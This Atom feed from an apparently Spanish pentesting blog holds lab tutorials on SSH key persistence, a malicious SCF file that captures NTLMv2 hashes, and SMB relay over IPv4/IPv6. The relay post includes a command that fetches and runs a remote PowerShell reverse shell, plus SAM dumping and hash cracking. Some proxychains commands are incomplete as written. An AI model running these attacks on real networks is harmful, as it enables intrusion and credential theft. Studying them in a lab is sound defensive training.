<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://pabloventx.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://pabloventx.github.io/" rel="alternate" type="text/html" /><updated>2026-09-11T10:10:53+00:00</updated><id>https://pabloventx.github.io/feed.xml</id><title type="html">pabloVentx.io</title><subtitle>Publicaciones acerca Write-Ups CTFs, herramientas interesantes y acerca sobre como empezar o sacarse Certificaciones</subtitle><author><name>pabloVentx</name></author><entry><title type="html">Ganar Persistencia en SSH</title><link href="https://pabloventx.github.io/ayuda-sshclaves/" rel="alternate" type="text/html" title="Ganar Persistencia en SSH" /><published>2026-09-08T00:00:00+00:00</published><updated>2026-09-08T00:00:00+00:00</updated><id>https://pabloventx.github.io/ayuda-sshclaves</id><content type="html" xml:base="https://pabloventx.github.io/ayuda-sshclaves/"><![CDATA[<p>Siempre hemos tenido esa duda de como funcionan las claves de ssh ya sea publica o privada, como se generan o como podemos llegar a abusar de estas y que efectos cruciales pueden llegar a tener desde el punto de vista tecnico. A continuación listare 2 formas de las que podemos abusar:</p>

<h3 id="utilizar-clave-privada-objetivo-en-máquina-atacante">UTILIZAR CLAVE PRIVADA OBJETIVO EN MÁQUINA ATACANTE</h3>
<p>Si tenemos acceso de lectura al directorio <span style="color:lightblue">.ssh</span> de un usuario específico, por ejemplo <span style="color:lightblue">/home/user/.ssh/</span> o <span style="color:lightblue">/usuario/.ssh/</span>, podríamos encontrar allí su <span style="color:lightyellow">clave privada</span>, comúnmente almacenada como <span style="color:gold">id_rsa</span>.</p>

<p>Si logramos leer o bajarnos el archivo <span style="color:gold">id_rsa</span> objetivo, podemos traerlo a nuestra máquina y usarlo para iniciar sesión como ese usuario en el servidor ssh.</p>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906002725.png" alt="" /></p>

<p>Por ejemplo, si bajamos la clave privada a nuestra máquina, podemos hacer lo siguiente:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Dar permisos de WR al archivo como dueño.</span>
<span class="nb">chmod </span>600 id_rsa

<span class="c"># Nos conectamos al servidor usando la clave privada del objetivo</span>
ssh user@IP <span class="nt">-i</span> id_rsa
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906002753.png" alt="" /></p>

<blockquote>
  <p>Es importante ejecutar el comando chmod 600 id_rsa en la clave privada después de copiarla, para asegurar que solo el propietario del archivo tenga permisos de lectura y escritura. Si los permisos de la clave privada son demasiado permisivos (por ejemplo, si otros usuarios pueden leerla), el propio servidor SSH rechazará su uso por razones de seguridad.</p>
</blockquote>

<h3 id="pasar-clave-pública-atacante-a-máquina-objetivo">PASAR CLAVE PÚBLICA ATACANTE A MÁQUINA OBJETIVO</h3>

<table>
  <thead>
    <tr>
      <th>COMANDO</th>
      <th>FLAG</th>
      <th>DESCRIPCIÓN</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ssh-keygen</td>
      <td>-t</td>
      <td>Le indicamos el tipo de clave, recomendado “rsa” cifrado y compatible con todo</td>
    </tr>
    <tr>
      <td>ssh-keygen</td>
      <td>-b</td>
      <td>tamaño de la clave, recomendado para servidores “4096”.</td>
    </tr>
    <tr>
      <td>ssh-keygen</td>
      <td>-f -R</td>
      <td>Eliminar Host de confianza (conocido) y se indica el host a borrar(ip).</td>
    </tr>
  </tbody>
</table>

<p>Estándar de generar llaves:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-b</span> 4096 <span class="nt">-f</span> id_rsa
</code></pre></div></div>

<p>En caso de necesitar borrar el servidor host del ssh victima desde 0 a nivel de acceso en local, ante cualquier error:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-f</span> <span class="s1">'/home/usuario/.ssh/known_hosts'</span> <span class="nt">-R</span> <span class="s1">'IP_servidor_a_borrar'</span>
</code></pre></div></div>

<p>Si tenemos acceso de escritura al directorio <span style="color:lightblue">.ssh</span> de un usuario, por ejemplo <span style="color:lightblue">/home/user/.ssh/</span>, podemos colocar nuestra propia <span style="color:lightyellow">clave pública</span> en el archivo ==authorized_keys== de ese usuario. Esta técnica es común para obtener persistencia para el acceso SSH después de haber conseguido un shell como ese usuario.</p>

<p>Es importante tener en cuenta que la configuración actual de SSH no permite aceptar claves que hayan sido escritas por otros usuarios. Por eso, esta técnica solo funcionará si ya tenemos control sobre ese usuario, es decir, si ya tenemos una shell/sesión activa como él.</p>

<p>Primero, en nuestra máquina, generamos un nuevo par de claves con <strong>ssh-keygen</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-b</span> 4096 <span class="nt">-f</span> id_rsa
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906003314.png" alt="" /></p>

<p>Esto nos genera dos archivos de llaves:</p>

<p><strong>id_rsa</strong> → la clave privada, que usaremos con <strong>ssh</strong> <span style="color:yellow">-i</span></p>

<p><strong>id_rsa.pub</strong> → la clave pública, que debemos copiar a la máquina remota.</p>

<p>Una vez copiada el código de <strong>id_rsa.pub</strong>, en la máquina remota la agregamos al archivo <strong>authorized_keys</strong> del usuario al que queremos acceder. Por ejemplo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Meter el código de la llave publica directamente.</span>
<span class="nb">echo</span> <span class="s2">"clave_publica_codigo"</span> <span class="o">&gt;&gt;</span> /usuario/.ssh/authorized_keys
</code></pre></div></div>

<p>O abusar de una mala configuración de algún servidor cual tengamos acceso a dicha ruta subir directamente el <strong>authorized_keys</strong> con <strong>permisos 600</strong>:</p>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906003840.png" alt="" /></p>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906004109.png" alt="" /></p>

<p>Con esto, el servidor permitirá que iniciemos sesión como ese usuario usando la clave privada nuestra generada previamente:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh user@IP <span class="nt">-i</span> id_rsa
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sshclaves/Pasted image 20260906004215.png" alt="" /></p>

<p>Este método es una forma efectiva de mantener acceso persistente como ese usuario vía SSH, siempre que ya tengamos permisos para modificar su archivo <strong>authorized_keys</strong> o sustituirlo.</p>]]></content><author><name>pabloVentx</name></author><category term="Web-documentation" /><category term="Pentesting" /><category term="Persistencia" /><category term="SSH" /><category term="SSHclaves" /><summary type="html"><![CDATA[En este Post, enseñare a como podemos llegar a ganar persistencia en un servidor ssh, con solamente la clave publica o privada.]]></summary></entry><entry><title type="html">Ataque Malicious SCF file</title><link href="https://pabloventx.github.io/ayuda-Malicious-SCF-file/" rel="alternate" type="text/html" title="Ataque Malicious SCF file" /><published>2026-08-15T00:00:00+00:00</published><updated>2026-08-15T00:00:00+00:00</updated><id>https://pabloventx.github.io/ayuda-Malicious%20SCF%20file</id><content type="html" xml:base="https://pabloventx.github.io/ayuda-Malicious-SCF-file/"><![CDATA[<p>Esta técnica se basa en que estos tipos de archivos, exactamente el icono del archivo a nivel de visualización, al ser cargado en el explorador de archivos lo podemos envenenar y capturar el hash NTLMv2 de quien lo visualice.</p>

<blockquote>
  <p><a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">Referencia del ataque SMB SCF</a></p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Shell]
<span class="nv">Command</span><span class="o">=</span>2
<span class="nv">IconFile</span><span class="o">=</span><span class="se">\\</span>X.X.X.X<span class="se">\s</span>hare<span class="se">\p</span>entestlab.ico
<span class="o">[</span>Taskbar]
<span class="nv">Command</span><span class="o">=</span>ToggleDesktop
</code></pre></div></div>

<h3 id="como-configurar-el-ataque">COMO CONFIGURAR EL ATAQUE</h3>
<p>Si tenemos la capacidad de escritura para subir archivos a un recurso compartido, podemos aprovecharnos de esto para subir este archivo .scf vulnerable.</p>

<p>Nos vamos a “<strong>Servicios de archivos y almacenamiento</strong>” en nuestro panel de DC.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815205935.png" alt="" /></p>

<p>Ahora a “<strong>Recursos compartidos</strong>”.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815210056.png" alt="" /></p>

<p>Le damos a Tareas &gt; “<strong>Crear un recurso compartido</strong>” &gt; y el perfil “<strong>Rápido</strong>”.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815210218.png" alt="" /></p>

<p>Me creo una ruta personalizada cual voy a definir en el escritorio en una directorio llamada <span style="color:lightblue">SharedFiles</span>.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815210738.png" alt="" /></p>

<p>Marcamos la primera opción de que si tenemos privilegios de lectura o similares sobre un share, podemos verlo. En caso contrario, no se mostrara al listar los shares.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815211256.png" alt="" /></p>

<p>A nivel de permisos añadiremos a <span style="color:blue">Santigo García</span> para que pueda subir archivos en cuanto a recursos de red respecta.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815211920.png" alt="" /></p>

<p>Le damos permisos de <strong>Control total</strong>.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815212051.png" alt="" /></p>

<p>Seguimos adelante y nos dirá que se ha creado.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815212125.png" alt="" /></p>

<p>Insertamos el código malicioso del principio, y definimos nuestra IP y el recurso en red nuestro, cual recibiremos el hash NTLMv2:</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815214246.png" alt="" /></p>

<p>Con netexec listamos los shares con el usuario <strong>Pablo Martinez</strong> ya que tiene permisos de escritura y lectura en el share que habíamos creado:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb DC-01 <span class="nt">-u</span> <span class="s2">"sgarcia"</span> <span class="nt">-p</span> <span class="s1">'@Maria99love'</span> <span class="nt">--shares</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815213205.png" alt="" /></p>

<p>Nos conectamos por smbclient al share.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //DC-01/SharedFiles <span class="nt">-U</span> <span class="s2">"sgarcia%@Maria99love"</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815213436.png" alt="" /></p>

<p>Subimos el archivo mediante <code class="language-plaintext highlighter-rouge">put</code> en el recurso compartido a nivel de red.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815214350.png" alt="" /></p>

<p>Nos creado el recurso compartido en red con el nombre definido en el código malicioso “<strong>smbFolder</strong>”.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-smbserver smbFolder <span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span> <span class="nt">-smb2support</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815213717.png" alt="" /></p>

<h3 id="como-replicar-el-ataque">COMO REPLICAR EL ATAQUE</h3>

<p>Si conseguimos que el administrador entre al respectivo share donde se almacena el archivo malicioso SCF, solo con visualizarlo y cargar el icono de este, ya cogeremos de forma paralela su hash NTLMv2.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815214430.png" alt="" /></p>

<p>Aquí vemos el hash NTLMv2 del Administrador.</p>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815214626.png" alt="" /></p>

<p>Podemos usar <em>John The Ripper</em> o <em>hashcat</em> para crackearlo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john <span class="nt">--wordlist</span><span class="o">=</span>../../wordlist/wordlists_passwords.txt hash-admin
hashcat <span class="nt">-m</span> 5600 <span class="nt">-a</span> 0 hash-admin ../../wordlist/wordlists_passwords.txt
</code></pre></div></div>

<p><img src="/assets/images/ayuda-MaliciousSCFfile/Pasted image 20260815214802.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="Active Directory" /><category term="Web-documentation" /><category term="Pentesting" /><category term="SCF-file" /><category term="Poisoning" /><category term="hash" /><category term="crack-hashes" /><summary type="html"><![CDATA[En este Post, enseñare a realizar el ataque SCF file, explicando en que consiste el ataque, y como lo podemos replicar. Todo desde mi laboratorio personal de prácticas de Active Directory ofensivo.]]></summary></entry><entry><title type="html">Ataque Samba Relay - IPv4 e IPv6</title><link href="https://pabloventx.github.io/ayuda-Samba-Relay/" rel="alternate" type="text/html" title="Ataque Samba Relay - IPv4 e IPv6" /><published>2026-08-14T00:00:00+00:00</published><updated>2026-08-14T00:00:00+00:00</updated><id>https://pabloventx.github.io/ayuda-Samba%20Relay</id><content type="html" xml:base="https://pabloventx.github.io/ayuda-Samba-Relay/"><![CDATA[<p>Técnica utilizada para robar autenticaciones a través de las comunicaciones por samba que realiza un usuario o una tarea automatizadas a nivel empresarial que accede a X recurso. Por ejemplo, conectarse a un share o que se apague el equipo. Cual si se equivoca o no existe dicho recurso, podremos envenenar dicha comunicación y capturar los hashes NTLMv2 (Solo crackearlo, no para <em>PTH - Pass The Hash</em>).</p>

<blockquote>
  <p>Aunque suelen a ver accesos directos a recursos compartidos en red para facilitar el acesso en Entornos reales.</p>
</blockquote>

<p>Se efectúa cuando un equipo no tiene firmado samba, lo podemos mirar con netexec:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb ips_disponibles.txt <span class="nt">-u</span> <span class="s2">""</span> <span class="nt">-p</span> <span class="s2">""</span>
nxc smb 10.10.10.0/24
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813010554.png" alt="" /></p>

<blockquote>
  <p>Por lo general, el DC y sistemas operativos modernos suele venir firmado por defecto.</p>
</blockquote>

<p>Al no estar firmado y venir por defecto, no se logra validar la legitimidad del origen.</p>

<p>Hay dos protocolos a nivel de Red en la capa de Internet, por el cual podemos ejecutar dicho ataque en caso de que alguno no de estos no este disponible, poder tirar del otro: <strong>IPv4 y IPv6</strong></p>

<h3 id="versión-ipv4">VERSIÓN IPv4</h3>
<h3 id="smb-relay-típico">SMB-RELAY TÍPICO</h3>
<p>Podemos tener el Firewall a nivel Dominio (o todos) y el Antivirus activado:</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813182408.png" alt="" /></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813182459.png" alt="" /></p>

<p>De primeras para realizar un Samba Relay típico usaremos la herramienta <em>Responder</em> para envenenar el tráfico.</p>

<blockquote>
  <p>Archivo de configuración: <span style="color:lightblue">/usr/share/responder/</span><strong>Responder.conf</strong> -&gt; Lo dejamos por defecto</p>
</blockquote>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813013511.png" alt="" /></p>

<p>Ejecutamos la herramienta con los siguientes parámetros:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>responder <span class="nt">-I</span> eth0 <span class="nt">-dw</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813182725.png" alt="" /></p>

<p>Buscamos algún recurso inexistente a nivel de red. Y no necesitamos ni siquiera que introduzca las credenciales, con escribirlo o buscarlo ya lo capturamos.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813182915.png" alt="" /></p>

<p>Con responder al envenenar el tráfico hemos cogido dicha comunicación y con ello el hash NTLMv2 del usuario al estar el smb sin firmar, debido a que le hemos dicho que se autentique contra nosotros debido a que no existe dicho recurso y se cree que somos nosotros el recurso a buscar.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813182830.png" alt="" /></p>

<p>Y como cogemos la configuración por defecto de todos los equipos podemos coger el hash de Administrador. Si el usuario estuviera ejecutando alguna tarea a nivel de red.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813230744.png" alt="" /></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813230658.png" alt="" /></p>

<p>También con el servidor.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813231149.png" alt="" /></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813231212.png" alt="" /></p>

<p>Para crakear la contraseña podemos usar <strong>hashcat</strong> o <strong>john</strong> de forma offline.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john <span class="nt">--wordlist</span><span class="o">=</span>../../wordlist/wordlists_passwords.txt hashes-relayIPv4 <span class="nt">--pot</span><span class="o">=</span>null.pot
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260813231921.png" alt="" /></p>

<h3 id="smb-relay-dumpear-sam-abusando-de-privilegio-de-usuario-sobre-un-determinado-equipo">SMB-RELAY: DUMPEAR SAM ABUSANDO DE PRIVILEGIO DE USUARIO SOBRE UN DETERMINADO EQUIPO</h3>

<blockquote>
  <p>Para que funcione se necesita que cada usuario tenga su equipo no todos uno.</p>
</blockquote>

<p>Ponemos las credenciales del Administrador del dominio.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814004313.png" alt="" /></p>

<p>Hacemos que un usuario tenga privilegios sobre el equipo APP-SERVER, en este caso <strong>Pablo Martinez</strong>.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814004538.png" alt="" /></p>

<p>Saldrá <span style="color:yellow">(pwned!)</span> eso querrá decir que ese usuario tiene privilegios sobre dicho equipo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.10.10.0/24 <span class="nt">-u</span> <span class="s2">"pmartinez"</span> <span class="nt">-p</span> <span class="s1">'$P@ssw4rd#'</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814004710.png" alt="" /></p>

<p>Ahora nos vamos al archivo de configuración de responder y marcamos en <strong>off</strong> el <em>smb</em> y <em>http</em>.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814001828.png" alt="" /></p>

<p>Preparamos un archivo de targets donde voy a definir el equipo a comprometer. En este caso el <strong>APP-SERVER</strong></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814003916.png" alt="" /></p>

<p>Por una parte lanzamos el responder:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>responder <span class="nt">-I</span> eth0 <span class="nt">-dw</span>
</code></pre></div></div>

<p>Y por el otro lado usaremos la herramienta <em>ntlmrelayx</em> cual nos va a permitir apuntar a los objetivos mediante el fichero de targets que quiero comprometer.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-ntlmrelayx <span class="nt">-tf</span> targets.txt <span class="nt">-smb2support</span> <span class="c"># Le damos soporte con samba al ser windows</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814002008.png" alt="" /></p>

<p>Buscamos un recurso en red inexistente.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814003954.png" alt="" /></p>

<p>Y nos dumpearemos la SAM del equipo <strong>APP-SERVER</strong>, dejándonos un fichero con el mismo.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814010743.png" alt="" /></p>

<p>Esto es debido a que como el samba esta sin firmar, no se logra comprobar la legitimidad del origen haciendo creer al usuario que nosotros somos el samba y que se autentique contra nosotros, y aprovecha las credenciales privilegiadas sobre <strong>APP-SERVER</strong> definido como target, haciendo que redirija esa autenticación sobre el equipo víctima/target para que con <em>ntlmrelayx</em> dumpear la SAM del equipo.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814004822.png" alt="" /></p>

<blockquote>
  <p>Te podrías conectar por: <strong>psexec</strong> o <strong>wmiexec</strong></p>
</blockquote>

<h3 id="ejecutar-comandos-a-nivel-sistema-ntlmrelayx">EJECUTAR COMANDOS A NIVEL SISTEMA: NTLMRELAYX</h3>
<p>Cuando envenenamos una comunicación podemos ejecutar comandos a nivel sistema.
En este caso ganaremos acceso al equipo mediante una revershell de powershell TCP.</p>

<blockquote>
  <p>Repositorio a usar: https://github.com/samratashok/nishang</p>
</blockquote>

<p>Voy a coger el que se llama ‘<span style="color:lime">Invoke-PowershellTcp.ps1</span>’ y lo voy a nombrar ‘<span style="color:lime">PS.ps1</span>’ para más comodidad.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814013937.png" alt="" /></p>

<p>Dentro de este, copio el siguiente payload y me lo llevo abajo del todo:</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814014153.png" alt="" /></p>

<p>Defino mi IP de atacante y el puerto para estar a la escucha y recibir la conexión.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020009.png" alt="" /></p>

<blockquote>
  <p>Problemas con responder por certificados SSL del puerto 443.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Crearnos un servidor http por el puerto 8000</span>
python3 <span class="nt">-m</span> http.server 8000

<span class="c"># Ponernos a la escucha por el puerto 4646</span>
nc <span class="nt">-nvlp</span> 4646
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020042.png" alt="" /></p>

<p>Y de forma paralela:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Envenenar tráfico</span>
<span class="nb">sudo </span>responder <span class="nt">-I</span> tun0 <span class="nt">-dw</span>

<span class="c"># Ejecutar script de powershell en el equipo objetivo y no dumpear la SAM</span>
impacket-ntlmrelayx <span class="nt">-tf</span> targets.txt <span class="nt">-smb2support</span> <span class="nt">-c</span> <span class="s2">"powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.5:8000/PS.ps1')"</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020227.png" alt="" /></p>

<p>Busco un recurso inexistente desde el equipo cual tengo privilegios sobre otro equipo.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020323.png" alt="" /></p>

<p>Ahora en el campo donde va el comando meto el siguiente comando de powershell cual va hacer que acceda a mi servidor web y se descargue la reverse shell y la ejecute.</p>

<p>Si ha salido bien, abajo pondrá “SUCCED”.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020413.png" alt="" /></p>

<p>Volviendo a netcat habremos recibido la conexión víctima exitosamente, estando como <span style="color:blue">autoridad del sistema</span>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ver usuario actual</span>
<span class="nb">whoami</span>

<span class="c"># Ver apodo del equipo</span>
<span class="nb">hostname</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814020448.png" alt="" /></p>

<p>Vemos que tenemos la IP del equipo objetivo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Listar los principales parametros de red</span>
ipconfig
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814021055.png" alt="" /></p>

<h3 id="versión-ipv6">VERSIÓN IPv6</h3>
<p>Si el método por IPv4 esta capado, podemos intentar hacerlo por IPv6.</p>

<p>Lo que haremos a continuación, es con <em>mitm6</em> envenenar el dominio de la empresa por completo, y con <em>ntlmrelayx</em> jugar con <strong>proxychains</strong> para crear un túnel y poder ejecutar comandos a nivel sistema. Y podremos así hacer un Relay, el cual no hará falta conocer la contraseña.</p>

<p>Como las máquinas Windows por defecto solicitan tráfico IPv6, con <em>mitm6</em> voy apuntar al dominio para envenenarlo por IPv6.</p>

<blockquote>
  <p>Repositorio oficial: https://github.com/dirkjanm/mitm6.git</p>
</blockquote>

<p>Le especificamos la interfaz en caso de tener dos, porque va a coger la primera.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>mitm6 <span class="nt">-d</span> cyberwarfare.corp <span class="nt">-i</span> eth0
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814135532.png" alt="" /></p>

<p>Lo que conseguimos con esto es que tome como prioritaria mi IPv6 de atacante como servidor DNS. (También lo  hace con la puerta de enlace a la vez, pero supongo que dependerá la configuración.)</p>

<p><strong>APP-SERVER:</strong></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814140003.png" alt="" /></p>

<p><strong>EMP-MACHINE:</strong></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814140107.png" alt="" /></p>

<p>Mi objetivo es ganar acceso al equipo APP-SERVER (10.10.10.3), pues voy a definir los siguientes parámetros en ntlmrelayx para jugar con el y hacer el ataque por IPv6.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>impacket-ntlmrelayx <span class="nt">-6</span> <span class="nt">-wh</span> 10.10.10.5 <span class="nt">-t</span> smb://10.10.10.3 <span class="nt">-socks</span> <span class="nt">-debug</span> <span class="nt">-smb2support</span>
<span class="c"># -6: Le decimos que ahora va a ser por ipv6</span>
<span class="c"># -wh X.X.X.X: Le especificamos la IP atacante hacia donde se va redirigir la autenticación</span>
<span class="c"># -t smb://X.X.X.X: Le especificamos el target el cual trataremos de autenticarnos</span>
<span class="c"># -socks: Para jugar con proxychains y crear una conexión socks (Un túnel)</span>
<span class="c"># -smb2support: Dar soporte con samba por compatibilidad al estar en un Windows</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814142453.png" alt="" /></p>

<p>Ahora para tener una sessión interectiva hacemos <strong>CTRL + L</strong> o <strong>Enter</strong>.</p>

<p>Escribimos <code class="language-plaintext highlighter-rouge">socks</code> en la consola interactiva y nos dice que no hay disponibles.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814142635.png" alt="" /></p>

<p>Me vengo al <strong>APP-SERVER</strong> cual no tiene privilegios sobre ningún equipo y busco un recurso compartido en la red inexistente a nivel de autenticación de red.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814145848.png" alt="" /></p>

<p>Vuelvo al ntlmrelayx y en la salida pone <em>SUCCED</em> y que no tiene privilegios <em>FALSE</em>, esto no nos va a servir para poder hacer nada.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814145824.png" alt="" /></p>

<p>Lo comprobamos con el comando <code class="language-plaintext highlighter-rouge">socks</code> para que nos lo de en formato de tabla. Nos dice que no tenemos privilegios sobre el Target.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814145714.png" alt="" /></p>

<p>Sin embargo, si vamos a <strong>EMP-MACHINE</strong> como Pablo Martinez, que es el que tiene privilegios sobre <strong>APP-SERVER</strong> y buscamos un recurso que no exista a nivel de autenticación en la red, la cosa cambia.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814150027.png" alt="" /></p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814150314.png" alt="" /></p>

<p>Al poner <code class="language-plaintext highlighter-rouge">socks</code> ahora nos dice que el usuario PMARTINEZ -&gt; Pablo Martinez, tiene privilegios sobre el equipo de APP-Server (10.10.10.3) .</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814150338.png" alt="" /></p>

<p>Ahora nos aseguramos de que en el archivo de configuración de Proxychains, tenemos alfinal <code class="language-plaintext highlighter-rouge">socks 127.0.0.1 1080</code> para estar a la escucha y crear el túnel.</p>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814150534.png" alt="" /></p>

<p>Como tenemos un Relaying de un usuario Administrador sobre dicho target, podemos tirar de proxychains para tunelizar y redirigirlo hacia nosotros y hacer uso de netexec para autenticarnos sobre dicho equipo y nos va a poner <span style="color:yellow">(Pwn3d!)</span>, sin conocer la contraseña poniendo la que queramos.</p>

<blockquote>
  <p><span style="color:yellow">(Guest)</span> nose porque sale.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>proxychains <span class="nt">-u</span> <span class="s1">'pmartinez'</span> <span class="nt">-p</span> <span class="s1">'loquequiera'</span> <span class="nt">-d</span> <span class="s1">'cyberwarfare'</span>
proxychains <span class="nt">-u</span> <span class="s1">'pmartinez'</span> <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">-d</span> <span class="s1">'cyberwarfare'</span>
</code></pre></div></div>

<p><img src="/assets/images/ayuda-sambarelay/Pasted image 20260814151420.png" alt="" /></p>

<p>Lo que podemos hacer es Dumpearnos la SAM…</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>proxychains <span class="nt">-u</span> <span class="s1">'pmartinez'</span> <span class="nt">-p</span> <span class="s1">'loquequiera'</span> <span class="nt">-d</span> <span class="s1">'cyberwarfare'</span> <span class="nt">--sam</span> 2&gt;/dev/null
</code></pre></div></div>

<blockquote>
  <p><strong>2&gt;/dev/null</strong> para no ver la salida de proxychains.</p>
</blockquote>

